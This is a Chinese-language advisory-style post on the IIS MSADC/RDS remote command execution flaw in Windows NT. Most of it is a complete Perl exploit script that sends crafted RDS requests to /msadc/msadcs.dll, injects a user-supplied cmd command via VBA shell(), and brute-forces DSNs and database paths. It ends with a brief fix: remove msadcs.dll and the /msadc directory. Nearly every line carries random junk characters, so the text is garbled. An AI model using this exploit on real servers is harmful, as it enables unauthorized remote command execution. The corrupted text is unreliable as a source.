IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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;V7D5 q pC 5 J
'@ 涉及程序：
j+0=)Q%I= Microsoft NT server
8F|8zX& o:E+c_^q` 描述：
smEKQHB 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
`$j"nP F_ u^H: z0 详细：
b|F_]i T 如果你没有时间读详细内容的话，就删除:
\DsP '-t c:\Program Files\Common Files\System\Msadc\msadcs.dll
.]+Z<5Fo 有关的安全问题就没有了。
!yAg!V
KY ~~eR,H Yk 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Sc
Uh
-y_ T_ ifDQX; 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
icW?a9 b& 关于利用ODBC远程漏洞的描述，请参看:
,H!E :k L~N<<8?\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]O
Nf;RH L}O_1+b 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
5:(uD3] http://www.microsoft.com/security/bulletins/MS99-025faq.asp g3 ~e#vdz rZ<n0w 这里不再论述。
S ;DqM;Q v;.7-9c* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
kL;sA'I:S [4uTp[U!r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*:r@-=M3= 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
;WX)g&19x L{fKZ mY9^W2: #将下面这段保存为txt文件，然后: "perl -x 文件名"
t,$4J6 c>+l3&` #!perl
.nCF`5T! #
d~f_wN&r # MSADC/RDS 'usage' (aka exploit) script
J6Uo+0S #
*,g|I8?%VD # by rain.forest.puppy
j:'s bU #
g.-{=kZ
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Hts.G~~8 # beta test and find errors!
rlSar$ b 4`t, D use Socket; use Getopt::Std;
Ara D_D getopts("e:vd:h:XR", \%args);
@]r,cPx0Y H 8d%_jCr print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n}?XFx!% ~"eos~AuW if (!defined $args{h} && !defined $args{R}) {
\T)2J|mW print qq~
G+Ft2/+\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
JWhi*je -h <host> = host you want to scan (ip or domain)
TR :V7 d -d <seconds> = delay between calls, default 1 second
9W3zcL8 -X = dump Index Server path table, if available
wc7gOrPpm -v = verbose
7J@iJW],, -e = external dictionary file for step 5
u 0M[B7Q * SH5p Or a -R will resume a command session
WW33ZJ h l`4 _`3y ~; exit;}
h}PeXnRU qN h:;` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
},9Hq~TA if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&,B\ig1Jf if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-#Xo^-& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yPG,+uQ$. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
wZ7Opm<nt if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_U}pdzX? A$gP: 1&m if (!defined $args{R}){ $ret = &has_msadc;
px6 [1'|g die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
6Y4sv5G m\QUt ; print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rro92(y . "cmd /c ";
S?p WxHR] $in=<STDIN>; chomp $in;
f9FJ:? $command="cmd /c " . $in ;
&'{6 _-kh P|,@En 1! if (defined $args{R}) {&load; exit;}
'Fi\Qk'D@ jWHv9X tW print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
? .1yNO*s &try_btcustmr;
#- S%aeB wLn,x;;< print "\nStep 2: Trying to make our own DSN...";
M*M,Z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ykFm$ 0m+I .Cq'D. print "\nStep 3: Trying known DSNs...";
'1'#,u! &known_dsn;
K
q;X(&Z 1?:/8l%V print "\nStep 4: Trying known .mdbs...";
%j3XoRex>< &known_mdb;
;vM&se63 AE`z~L, if (defined $args{e}){
$['_m~
2 print "\nStep 5: Trying dictionary of DSN names...";
!S6zC > &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
G 3))3] )l 0\T F print "Sorry Charley...maybe next time?\n";
S ]_iobWK exit;
1/b5i8I2 v )b^yAzL? ##############################################################################
MTm}qx@L a 3t[Tk; sub sendraw { # ripped and modded from whisker
D#VUx9kugv sleep($delay); # it's a DoS on the server! At least on mine...
u.!}s2wT# my ($pstr)=@_;
)anprhc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;+ : C die("Socket problems\n");
8YroEX [5l if(connect(S,pack "SnA4x8",2,80,$target)){
@smjXeF o select(S); $|=1;
WdQR^'b$ print $pstr; my @in=<S>;
A Hn XN%m select(STDOUT); close(S);
}N @8zB~X return @in;
AlZ] UGf^ } else { die("Can't connect...\n"); }}
fpd 4 v|( a=m4)tjk ##############################################################################
?T.'
q 3zC<k2B sub make_header { # make the HTTP request
p'SclH[ my $msadc=<<EOT
~kHWh8\b: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?@n,
9! User-Agent: ACTIVEDATA
=3K}]3f Host: $ip
ScN'|Ia.- Content-Length: $clen
{'O,G$Ldkr Connection: Keep-Alive
l X g. ` e,J
q<=j ADCClientVersion:01.06
#)A.yK`u Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.W; ,~.l e`]x?t<U4/ --!ADM!ROX!YOUR!WORLD!
k*xMe - Content-Type: application/x-varg
KK-}&N8 Content-Length: $reqlen
VsIDd}~C% <L!9as]w EOT
d @d\9*mn ; $msadc=~s/\n/\r\n/g;
~m`j=ot return $msadc;}
CEQs}bz ^ l;N;5L ##############################################################################
iX]tL:,~i sVT:1 kI sub make_req { # make the RDS request
qYba%g9RN( my ($switch, $p1, $p2)=@_;
&YiUhK my $req=""; my $t1, $t2, $query, $dsn;
SM? rss.= _+B{n^ { if ($switch==1){ # this is the btcustmr.mdb query
l$1
] $query="Select * from Customers where City=" . make_shell();
E@.daUo B $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9E`La f $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
O0`o0 !=P Sbzx7 * X elsif ($switch==2){ # this is general make table query
N [qNSo| $query="create table AZZ (B int, C varchar(10))";
OSu/ !Iv\ $dsn="$p1";}
B183h ;T-`~ elsif ($switch==3){ # this is general exploit table query
A,PF#G( $query="select * from AZZ where C=" . make_shell();
TUy
25E $dsn="$p1";}
$I*<gn9 w20)~&LE- elsif ($switch==4){ # attempt to hork file info from index server
$?Dcp^ $query="select path from scope()";
J 2H$ALl $dsn="Provider=MSIDXS;";}
rt8"U <~ NuEcTww elsif ($switch==5){ # bad query
f;{K+\T $query="select";
4:zyZu3fm $dsn="$p1";}
{TOz}=R"3h @~ 6,8 nQ $t1= make_unicode($query);
>;^t) 6 $t2= make_unicode($dsn);
/#Fz
K $req = "\x02\x00\x03\x00";
Y| X!da/ $req.= "\x08\x00" . pack ("S1", length($t1));
(&o|}"kRq $req.= "\x00\x00" . $t1 ;
w ]%EJ|' $req.= "\x08\x00" . pack ("S1", length($t2));
h/s8".\ $req.= "\x00\x00" . $t2 ;
td!YwN* $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
b )(si /]\ return $req;}
u.yjk/jF (fqU73 ##############################################################################
xwhS[ d dy"7Wl]hi7 sub make_shell { # this makes the shell() statement
9EFQo^
E return "'|shell(\"$command\")|'";}
o;[cApiQ,2 qu`F,O G ##############################################################################
e'd x
Y( ]H-5 sub make_unicode { # quick little function to convert to unicode
P*!~Z *" my ($in)=@_; my $out;
9O4\DRe5c for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
|s! <vvp] return $out;}
-`cNRd0n Z,_EhEm ##############################################################################
Y 8Dn&W 7W.z8>p sub rdo_success { # checks for RDO return success (this is kludge)
]^>RBegJBO my (@in) = @_; my $base=content_start(@in);
`Lj'2LoER if($in[$base]=~/multipart\/mixed/){
E51'TT9 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
P[K42 mm return 0;}
y F;KyY{ "2_nN]%u- ##############################################################################
%|(Cb!ySX UA3!28Y&E3 sub make_dsn { # this makes a DSN for us
qZ<|A%WQ my @drives=("c","d","e","f");
a /Ik^:>m print "\nMaking DSN: ";
!QsmT3 foreach $drive (@drives) {
=a $7^d print "$drive: ";
Dzr(Fb my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
iezY+`x4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
H tx)MEZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
p)c"xaTP#F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Ha/Gn !l return 0 if $2 eq "404"; # not found/doesn't exist
%) /Bl.{}< if($2 eq "200") {
70F(`; foreach $line (@results) {
W<\*5oB%H return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
X,`^z,M%I } return 0;}
mV;)V8' gg?O0W{ ##############################################################################
LZ4Z]! V R+<M"LriR& sub verify_exists {
=< .h.n my ($page)=@_;
j"Z9}F@ my @results=sendraw("GET $page HTTP/1.0\n\n");
5E!Wp[^ return $results[0];}
5?HoCz]l z^ Y4:^L~I ##############################################################################
}>yQ!3/i 92D :!C sub try_btcustmr {
W 61nJ7@ my @drives=("c","d","e","f");
zwgO|Qg; my @dirs=("winnt","winnt35","winnt351","win","windows");
;\54(x}|K z)fg>?AGr foreach $dir (@dirs) {
[&5%$ T print "$dir -> "; # fun status so you can see progress
./_4D} foreach $drive (@drives) {
;~"#aL50fe print "$drive: "; # ditto
A3A"^f$$ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
#@Rt b\9 $reqlenlen=length( "$reqlen" );
Ou5,7Ne $clen= 206 + $reqlenlen + $reqlen;
0 czEA BDcA_= ^R& my @results=sendraw(make_header() . make_req(1,$drive,$dir));
+i(;@%
kv if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
O[5u6heNMr else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
JL=s=9N;3 8z`Ne(h; ##############################################################################
A)HV#T`N ;@/vKA3l. sub odbc_error {
iu+rg(*% my (@in)=@_; my $base;
iX6'3\Q3A my $base = content_start(@in);
#vPf$y6jCI if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8C4v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m%.7l8vT $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UEH+E&BCC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x}7` Q:k= return $in[$base+4].$in[$base+5].$in[$base+6];}
X+'B*K$ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/9<62F@zJ" print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
MuP&m{ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
]-8yZWal 7b
hJt_`Q ##############################################################################
Lb0B m R%0 F2C v,&' sub verbose {
Yg! xlrxA my ($in)=@_;
c.Do b?5 return if !$verbose;
]GmXZ i print STDOUT "\n$in\n";}
j9 O"!9$vQ T?EFY}f ##############################################################################
tS
sDW!!M #RTiWD[o sub save {
_ Bq [c my ($p1, $p2, $p3, $p4)=@_;
q:3HU< open(OUT, ">rds.save") || print "Problem saving parameters...\n";
lk%W2N5 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
/F_(&H!m close OUT;}
q":0\ar&QT T U O *w ##############################################################################
]oE :p *v0}S5^ /" sub load {
89l{h8R my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YnwP\Arfq open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r1 AG1Y @p=<IN>; close(IN);
`t Zw(Z= h $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
X.)D"+xnH $target= inet_aton($ip) || die("inet_aton problems");
tRmH6
print "Resuming to $ip ...";
&BkdC,o $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
gB}UzEj^< if($p[1]==1) {
$LJCup,1" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}NF7"tOL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#RVN 7-x my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
vF .Ml if (rdo_success(@results)){print "Success!\n";}
.Eg[[K_iD else { print "failed\n"; verbose(odbc_error(@results));}}
"V:E BR elsif ($p[1]==3){
1ZRSeh if(run_query("$p[3]")){
['\ u?m print "Success!\n";} else { print "failed\n"; }}
P P!} w elsif ($p[1]==4){
mqKr+
if(run_query($drvst . "$p[3]")){
ZfSAXr "( print "Success!\n"; } else { print "failed\n"; }}
z|WDqB%/I exit;}
Nh+ZSV4WJ: 4<l& cP ##############################################################################
p WLFJH}N {aYCrk1 sub create_table {
/+{1;}AT my ($in)=@_;
O
K2|/y $reqlen=length( make_req(2,$in,"") ) - 28;
+EP=uV9t $reqlenlen=length( "$reqlen" );
\"AzT{l!; $clen= 206 + $reqlenlen + $reqlen;
zR6^rq* my @results=sendraw(make_header() . make_req(2,$in,""));
` EgO&;1D) return 1 if rdo_success(@results);
kz?m `~1 my $temp= odbc_error(@results); verbose($temp);
FX:'38-fk return 1 if $temp=~/Table 'AZZ' already exists/;
& dvL` return 0;}
K0z@gWGE
;(~H(]D ##############################################################################
P'p5-l UK [y1
x`WOk9 sub known_dsn {
[cvtF(, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&+-]!^2o my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"M4 gl "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Ilv
_. "banner", "banners", "ads", "ADCDemo", "ADCTest");
>TQnCG = "%fvA; foreach $dSn (@dsns) {
=d`/BDD print ".";
ui4*vjd
next if (!is_access("DSN=$dSn"));
OVf%m~%&s if(create_table("DSN=$dSn")){
YDdY'd`* print "$dSn successful\n";
g9oY K if(run_query("DSN=$dSn")){
TP?HxO_C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
N
cnL -k. print "Something's borked. Use verbose next time\n";}}} print "\n";}
23Juu V. r-IG.ym3 ##############################################################################
EE[JXoke c &u~M=EW sub is_access {
J<=k
[Q my ($in)=@_;
iJem9XXb $reqlen=length( make_req(5,$in,"") ) - 28;
;'xd8Jf $reqlenlen=length( "$reqlen" );
=EdLffU[J $clen= 206 + $reqlenlen + $reqlen;
X bL\l my @results=sendraw(make_header() . make_req(5,$in,""));
/8tF7Mmr my $temp= odbc_error(@results);
A3c&VT6Q verbose($temp); return 1 if ($temp=~/Microsoft Access/);
6<+ 8[ o return 0;}
(N` x H_+F~P 5RC ##############################################################################
Q2 @Ugt$ Nw|m"VLb sub run_query {
4> $weu^ my ($in)=@_;
{5N!udLDr5 $reqlen=length( make_req(3,$in,"") ) - 28;
SM@RELA'Lb $reqlenlen=length( "$reqlen" );
#E #.`/4 $clen= 206 + $reqlenlen + $reqlen;
GPVqt"TY my @results=sendraw(make_header() . make_req(3,$in,""));
PTFe>~vr* return 1 if rdo_success(@results);
_Vf0MU;3f+ my $temp= odbc_error(@results); verbose($temp);
bRb+3au_x
return 0;}
SwVdo|%.? .*+KQ A8 ##############################################################################
)3 RbD#? > V vjs sub known_mdb {
+7|Q d}\X my @drives=("c","d","e","f","g");
K3($,aB} my @dirs=("winnt","winnt35","winnt351","win","windows");
/ pOK4" my $dir, $drive, $mdb;
*>f-UNV my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@[(<oX% cp\A
xWtUZ # this is sparse, because I don't know of many
2h^9lrQcQG my @sysmdbs=( "\\catroot\\icatalog.mdb",
H&3i[D!p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
E]26a,^L "\\system32\\certmdb.mdb",
b+qdl`V d "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
E ^<.; 35X4]
t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
>7^i>si "\\cfusion\\cfapps\\forums\\forums_.mdb",
|)\{Rufb "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4_B1qN
"\\cfusion\\cfapps\\security\\realm_.mdb",
BO 3%p "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Lavm "\\cfusion\\database\\cfexamples.mdb",
Q'n]+%YN "\\cfusion\\database\\cfsnippets.mdb",
u"*Wo'3I| "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Xe xsl zI "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
PK7
kpC "\\cfusion\\brighttiger\\database\\cleam.mdb",
A/+bw CDP "\\cfusion\\database\\smpolicy.mdb",
_]~= Kjp "\\cfusion\\database\cypress.mdb",
jQLiqi` "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%. +#e "\\website\\cgi-win\\dbsample.mdb",
=fZMute "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
>84:1 ` "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
AyUiX2=w1 ); #these are just
g0
NS y3t foreach $drive (@drives) {
[#hoW"'Q9 foreach $dir (@dirs){
( @y te foreach $mdb (@sysmdbs) {
q e\JO'g#e print ".";
{ f
kP|d if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
@p}"B9h*^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(iw)C)t*u if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
6xsB#v* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
J&bhR9sF } else { print "Something's borked. Use verbose next time\n"; }}}}}
4fp]z9Y GDUOUl& foreach $drive (@drives) {
bRzw.(k0`r foreach $mdb (@mdbs) {
KqH_?r` print ".";
a1n j}1M% if(create_table($drv . $drive . $dir . $mdb)){
S66. .sa print "\n" . $drive . $dir . $mdb . " successful\n";
{~RS$ | if(run_query($drv . $drive . $dir . $mdb)){
b\^q9f y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_~_E(rTn } else { print "Something's borked. Use verbose next time\n"; }}}}
`[*n UdG }
Yo$
xz fqcFfz 6?x ##############################################################################
]sf1 +3 PfKF!/c
B sub hork_idx {
u:FFZ print "\nAttempting to dump Index Server tables...\n";
~-.^eT kP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
hL8GW> `a $reqlen=length( make_req(4,"","") ) - 28;
D) *OQLHW $reqlenlen=length( "$reqlen" );
]J%p&y+6 $clen= 206 + $reqlenlen + $reqlen;
@&G< Np` my @results=sendraw2(make_header() . make_req(4,"",""));
ZC\&n4~7 if (rdo_success(@results)){
[c=T)]E1 my $max=@results; my $c; my %d;
n6f for($c=19; $c<$max; $c++){
5sc` L $results[$c]=~s/\x00//g;
?U PZ49y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Z[{k-_HgAm $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
uK5&HdoM $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_,m|gr ,S $d{"$1$2"}="";}
fEB>3hI foreach $c (keys %d){ print "$c\n"; }
_Ka6! 9 } else {print "Index server doesn't seem to be installed.\n"; }}
D'!
v9} v>&sb3I ##############################################################################
_poe{@h! ^XIVWf#` H sub dsn_dict {
;=?f0z< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
dmkd.aP4 while(<IN>){
&S8Pnb)d $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
zAxscD f' next if (!is_access("DSN=$dSn"));
g[d.lJ=Q-N if(create_table("DSN=$dSn")){
V?*\ISB`} print "$dSn successful\n";
AK b rXKx if(run_query("DSN=$dSn")){
*Ou )P9~-L print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]tzO)c)w; print "Something's borked. Use verbose next time\n";}}}
zL<<`u? print "\n"; close(IN);}
[ 4_JK ; F;"Uw ##############################################################################
.%'$3=/oe 1Y-m=~J7 sub sendraw2 { # ripped and modded from whisker
pRAdo=" sleep($delay); # it's a DoS on the server! At least on mine...
%SX)Z
i=O my ($pstr)=@_;
{ eU_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B)bq@ jM die("Socket problems\n");
W= 9Zl(2C if(connect(S,pack "SnA4x8",2,80,$target)){
]^j'2nJv0 print "Connected. Getting data";
\ tK{!v+ open(OUT,">raw.out"); my @in;
O&Ws*k select(S); $|=1; print $pstr;
lOc!KZHUp while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Y8^pg v close(OUT); select(STDOUT); close(S); return @in;
O" <W<l7Q } else { die("Can't connect...\n"); }}
,> ^6ztM <r{M(yZ?@ ##############################################################################
\VTNXEw*G aq|R? sub content_start { # this will take in the server headers
38[k o 3 my (@in)=@_; my $c;
Gw0 _M& for ($c=1;$c<500;$c++) {
SREe,
e\ if($in[$c] =~/^\x0d\x0a/){
nlfu y[oX if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
U60jkzIRH else { return $c+1; }}}
*/|Vyp- return -1;} # it should never get here actually
dHtbl\6 kYVn4Wq ##############################################################################
soH
M5<U 0(Hhb#WDh\ sub funky {
_7O;ED+ my (@in)=@_; my $error=odbc_error(@in);
#ZP U.NNT? if($error=~/ADO could not find the specified provider/){
\;h+:[<e1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Jx:t(oUR+ exit;}
0M'[|ci d| if($error=~/A Handler is required/){
VGVZ`| print "\nServer has custom handler filters (they most likely are patched)\n";
[CBhipoc exit;}
\GR M,c if($error=~/specified Handler has denied Access/){
a*pwVn print "\nServer has custom handler filters (they most likely are patched)\n";
g@va@*|~d exit;}}
0! :1o61 &7{/ x~S{ ##############################################################################
JMUk=p<\ B4<W%lm sub has_msadc {
'>}dqp{Wr my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[^cflmV my $base=content_start(@results);
d=TZaVL$$ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
x
tJ_azt return 0;}
%|3I|'%Y (\Iz(N["G ########################
: *~}\M* 8+L,a_q- wClX3l>y 解决方案：
: DxC jv 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
hr+,-j 2、移除web 目录: /msadc
